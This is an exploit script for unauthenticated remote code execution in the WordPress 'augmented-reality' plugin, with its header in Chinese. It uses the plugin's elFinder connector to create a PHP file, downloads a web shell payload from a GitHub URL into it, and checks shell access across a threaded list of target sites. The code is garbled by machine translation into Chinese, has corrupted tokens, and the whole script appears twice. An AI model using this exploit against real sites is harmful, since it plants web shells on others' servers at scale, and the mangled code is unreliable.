#利用title: WordPress增强真实性- 远程代码执行未经验证
#日期: 2023-09-20
#作者: Milad Karimi(Ex3ptional)
#类别: WebApps
#测试在: Windows 10,Firefox
导入请求为req
进口JSON
导入系统
导入随机
导入uuid
导入Urllib.Parse
导入urllib3
从多处理。dummyImport Pool作为threadpool
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
fileName='{}。php'.format(str(uuid.uuid4())[:8])
代理={}
#proxies={
#'http':'http://127.0.0.1:8080',
#'https':'http://127.0.0.1:8080',
#}
phash='l1_lw'
r=req.session()
user_agent={
'用户代理:'Mozilla/5.0(X11; Linux X86_64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/44.0.2403.157 Safari/537.36'
}
r.headers.update(user_agent)
DEF IS_JSON(MYJSON):
TRY:
json_object=json.loads(myjson)
除了e:除外
返回false
返回true
DEF MKFILE(目标):
data={'cmd':'mkfile','target'
hash,'name':fileName}
RESS=R.POST(目标,数据=数据)
响应=resp.Text
如果resp.status_code==200和is_json(reven):
desp_json=repon.replace(r'\/','').replace('\\','')
resp_json=json.loads(resp_json)
返回desp_json ['添加'] [0] ['hash']
其他:
返回false
def put(目标,哈希):
content=req.get('https://raw.githubusercontent.com/0...a.php',prexies=proxies=proxies,verifie=false)
content=content.text
data={'cmd':'put','target':hash,'content': content}
响应=r.post(target,data=data,proxies=代理,验证=false)
if antsphy.status_code==200:
返回true
DEF漏洞利用(目标):
TRY:
vuln_path='{}/wp-content/plugins/augmented-reality/vendor/elfinder/elfinder/php/connector.minimal.php'.format(target)
响应=r.get(vuln_path,proxies=代理,verify=false).status_code
如果响应!=2003360
打印('[fail] {}'。格式(target))
返回
哈希=mkfile(vuln_path)
如果哈希==false:
打印('[fail] {}'。格式(target))
返回
如果放置(vuln_path,哈希):
shell_path='{}/wp-content/插件/augmented-reality/file_manager/{}'。格式(target,fileName)
状态=r.get(shell_path,proxies=proxies,verify=false).status_code
如果状态==200 :
newline:开放('result.txt','a')
newline.write('{} \ n'.format(shell_path))
newline.close()
打印('[ok] {}'。格式(shell_path))
返回
其他:
打印('[fail] {}'。格式(target))
返回
其他:
打印('[fail] {}'。格式(target))
返回
除了req.exceptions.sslerror:
打印('[fail] {}'。格式(target))
返回
除了req.exceptions.connectionError:
打印('[fail] {}'。格式(target))
返回
def main():
线程=输入('[?]螺纹')
list_file=输入('[?]列表网站文件')
打印('[!]所有结果都保存在result.txt')
用file:打开(list_file,'r')
lines=[line.rstrip()用于文件中的行]
th=threadpool(int(threads))
th.map(利用,线)
如果name=='__ -Main __':
主要的()
#日期: 2023-09-20
#作者: Milad Karimi(Ex3ptional)
#类别: WebApps
#测试在: Windows 10,Firefox
导入请求为req
进口JSON
导入系统
导入随机
导入uuid
导入Urllib.Parse
导入urllib3
从多处理。dummyImport Pool作为threadpool
urllib3.disable_warnings(urllib3.exceptions.insecurreequestwarning)
fileName='{}。php'.format(str(uuid.uuid4())[:8])
代理={}
#proxies={
#'http':'http://127.0.0.1:8080',
#'https':'http://127.0.0.1:8080',
#}
phash='l1_lw'
r=req.session()
user_agent={
'用户代理:'Mozilla/5.0(X11; Linux X86_64)AppleWebkit/537.36(Khtml,像Gecko一样)Chrome/44.0.2403.157 Safari/537.36'
}
r.headers.update(user_agent)
DEF IS_JSON(MYJSON):
TRY:
json_object=json.loads(myjson)
除了e:除外
返回false
返回true
DEF MKFILE(目标):
data={'cmd':'mkfile','target'

RESS=R.POST(目标,数据=数据)
响应=resp.Text
如果resp.status_code==200和is_json(reven):
desp_json=repon.replace(r'\/','').replace('\\','')
resp_json=json.loads(resp_json)
返回desp_json ['添加'] [0] ['hash']
其他:
返回false
def put(目标,哈希):
content=req.get('https://raw.githubusercontent.com/0...a.php',prexies=proxies=proxies,verifie=false)
content=content.text
data={'cmd':'put','target':hash,'content': content}
响应=r.post(target,data=data,proxies=代理,验证=false)
if antsphy.status_code==200:
返回true
DEF漏洞利用(目标):
TRY:
vuln_path='{}/wp-content/plugins/augmented-reality/vendor/elfinder/elfinder/php/connector.minimal.php'.format(target)
响应=r.get(vuln_path,proxies=代理,verify=false).status_code
如果响应!=2003360
打印('[fail] {}'。格式(target))
返回
哈希=mkfile(vuln_path)
如果哈希==false:
打印('[fail] {}'。格式(target))
返回
如果放置(vuln_path,哈希):
shell_path='{}/wp-content/插件/augmented-reality/file_manager/{}'。格式(target,fileName)
状态=r.get(shell_path,proxies=proxies,verify=false).status_code
如果状态==200 :
newline:开放('result.txt','a')
newline.write('{} \ n'.format(shell_path))
newline.close()
打印('[ok] {}'。格式(shell_path))
返回
其他:
打印('[fail] {}'。格式(target))
返回
其他:
打印('[fail] {}'。格式(target))
返回
除了req.exceptions.sslerror:
打印('[fail] {}'。格式(target))
返回
除了req.exceptions.connectionError:
打印('[fail] {}'。格式(target))
返回
def main():
线程=输入('[?]螺纹')
list_file=输入('[?]列表网站文件')
打印('[!]所有结果都保存在result.txt')
用file:打开(list_file,'r')
lines=[line.rstrip()用于文件中的行]
th=threadpool(int(threads))
th.map(利用,线)
如果name=='__ -Main __':
主要的()